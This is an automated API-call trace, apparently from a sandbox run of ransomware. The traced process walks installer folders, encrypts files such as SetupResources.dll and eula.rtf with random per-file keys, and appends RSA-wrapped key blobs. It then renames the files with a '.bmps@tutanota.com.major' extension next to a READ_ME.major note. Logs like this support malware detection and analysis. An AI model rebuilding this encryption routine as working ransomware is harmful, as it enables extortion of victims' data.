lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0138.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0138.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0138.357] GetLastError () returned 0x0 [0138.358] SetLastError (dwErrCode=0x0) [0138.358] GetLastError () returned 0x0 [0138.358] SetLastError (dwErrCode=0x0) [0138.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0138.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0138.358] GetLastError () returned 0x0 [0138.358] SetLastError (dwErrCode=0x0) [0138.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0138.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0138.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0138.358] FindNextFileW (in: hFindFile=0x5b5970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe05e2f, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffe05e2f, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffe2c0d4, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0138.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0138.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0138.358] GetLastError () returned 0x0 [0138.358] SetLastError (dwErrCode=0x0) [0138.358] GetLastError () returned 0x0 [0138.358] SetLastError (dwErrCode=0x0) [0138.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0138.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0138.358] GetLastError () returned 0x0 [0138.358] SetLastError (dwErrCode=0x0) [0138.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.358] FindNextFileW (in: hFindFile=0x5b5970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0138.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0138.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0138.358] GetLastError () returned 0x0 [0138.358] SetLastError (dwErrCode=0x0) [0138.358] GetLastError () returned 0x0 [0138.358] SetLastError (dwErrCode=0x0) [0138.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0138.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0138.359] GetLastError () returned 0x0 [0138.359] SetLastError (dwErrCode=0x0) [0138.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0138.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0138.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0138.359] FindNextFileW (in: hFindFile=0x5b5970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0138.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0138.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.359] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.359] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1036\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0138.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0138.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0138.359] CreateFileW (lpFileName="\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0138.359] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18776) returned 1 [0138.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x5ed868 [0138.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x5f21c8 [0138.359] ReadFile (in: hFile=0x4a4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0138.412] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.412] WriteFile (in: hFile=0x4a4, lpBuffer=0x5f21c8*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f21c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0138.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f21c8 | out: hHeap=0x570000) returned 1 [0138.413] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4958 [0138.413] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.413] WriteFile (in: hFile=0x4a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.414] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.414] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.415] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.415] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="DUXuNv8KsULKyEXDjQeg7LAEXxBKCPxlT+ja81cffHdH1WzeW9ZFPERxE//3T+0U\ncBshP7Z0Cf/gScTVCQH96ywZfkb9inEy4FRZwQukzMGo4GoRhj+Zve+l9IQdwmgV\nLlfGmHc0EhaqansIco/7jM3EGp/d/Z5wS5rDA5FOwibSsF07X+K1EKRNCUnsoIQ+\n2ALyn0NRX9O2qYtZQkIQTA3HQHdrsj6toGGIjCDKjl+5omcBIwqZBL9cofq4kSgw\nVy73Pkk0cFSHkCfrPxLz6V101QiUWJiTztzY3pjjxjnOyNvYQbS/0lTwi3UCyJxJ\nM/VpN0f4yOQ2+mNOeV5Opw==\n", pcchString=0x2e3f9a8) returned 1 [0138.415] WriteFile (in: hFile=0x4a4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.415] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.415] WriteFile (in: hFile=0x4a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.415] CloseHandle (hObject=0x4a4) returned 1 [0138.416] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.416] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1036\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0138.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0138.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0138.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.418] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.418] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1036\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0138.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0138.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0138.418] CreateFileW (lpFileName="\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0138.418] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=82962) returned 1 [0138.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14412) returned 0x5ed868 [0138.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14412) returned 0x601c88 [0138.418] ReadFile (in: hFile=0x4a4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x14412, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x14412, lpOverlapped=0x0) returned 1 [0138.436] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=-82962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.436] WriteFile (in: hFile=0x4a4, lpBuffer=0x601c88*, nNumberOfBytesToWrite=0x14412, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x601c88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14412, lpOverlapped=0x0) returned 1 [0138.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x601c88 | out: hHeap=0x570000) returned 1 [0138.438] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14412 [0138.438] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.438] WriteFile (in: hFile=0x4a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.438] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.438] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.439] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.439] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="qbJxLyIKzJemQGXAiET8YH3pDvgDn72GWl5XxY5Clz4mcAiGM57WQM4hYC6UVIk6\nFjxT+91pVdnCQebNUMFFnMfTXs28YVUeFLWKAAm+xNDMiLR4LDmIWX4obe/uUlAj\nTMr+WFp1gAX8wgwr9swuHQBqqv8jSVAGelj72i+l4H7KXsOcSI8Mp1Y1SAYaYPAA\nOGMBb8jn6nuQcQDIkg3VFFhK83LA9wtNvJKpQ5GAmZECnTYmH0xmLePfbIaH7xdx\nZeQg8exyPuQsyXONiyFo9joQVmxN1VM88ztfnmmeawbNmF8PCU6ZnaKZgRQAwaGQ\nHVrvcEzq8RSrQ5GsoO1/PQ==\n", pcchString=0x2e3f9a8) returned 1 [0138.439] WriteFile (in: hFile=0x4a4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.439] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.439] WriteFile (in: hFile=0x4a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.439] CloseHandle (hObject=0x4a4) returned 1 [0138.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.442] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1036\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0138.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0138.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0138.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.444] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.444] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1036\\eula.rtf", dwFileAttributes=0x80) returned 1 [0138.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0138.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0138.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0138.444] CreateFileW (lpFileName="\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0138.444] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3526) returned 1 [0138.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdc6) returned 0x5ed868 [0138.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdc6) returned 0x5ee638 [0138.444] ReadFile (in: hFile=0x4a4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xdc6, lpOverlapped=0x0) returned 1 [0138.467] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=-3526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.467] WriteFile (in: hFile=0x4a4, lpBuffer=0x5ee638*, nNumberOfBytesToWrite=0xdc6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee638*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdc6, lpOverlapped=0x0) returned 1 [0138.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee638 | out: hHeap=0x570000) returned 1 [0138.468] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdc6 [0138.468] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.468] WriteFile (in: hFile=0x4a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.468] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.468] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="Ovz0of92xYlmJ/hTVt8N2ZLIQ4FqMQdYhncdnyaMrdgXDk1HH0+rErbp30e5a5Wr\n4q7lJcLfxGUPI4ZIiQtUB44oxTGKsb7wpYIVmf6nXjXIjO5GJiXzfx+Oaq6tGY6q\ngbOWopLGdmLA7GclxpNL8htOsPPTRlMafa45FWqAuvQ7F+DjYFQAkdbB7Pi7TrTt\nSuuA0gJruJHiBCNauKM1I6lNZi56oNfiS5xwCE37gQoqOiyEk9Ljvo9K+WuZBum2\nlIYYL7p3MUQvPUWTf6pzgxjHMaWlpovZNPwQ34SADGV37w7tP+chQ9y//KYbYW0C\n0gLSQxSILhXXHQRk55RBRw==\n", pcchString=0x2e3f9a8) returned 1 [0138.468] WriteFile (in: hFile=0x4a4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.468] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.468] WriteFile (in: hFile=0x4a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.469] CloseHandle (hObject=0x4a4) returned 1 [0138.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.469] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1036\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0138.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0138.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0138.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0138.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0138.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0138.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0138.471] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffe784c1, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5370 [0138.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0138.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0138.472] GetLastError () returned 0x0 [0138.472] SetLastError (dwErrCode=0x0) [0138.472] GetLastError () returned 0x0 [0138.472] SetLastError (dwErrCode=0x0) [0138.472] GetLastError () returned 0x0 [0138.472] SetLastError (dwErrCode=0x0) [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0138.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b54b0 [0138.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b54b0 | out: hHeap=0x570000) returned 1 [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0138.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0138.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0138.472] FindNextFileW (in: hFindFile=0x5b5370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffe784c1, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0138.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 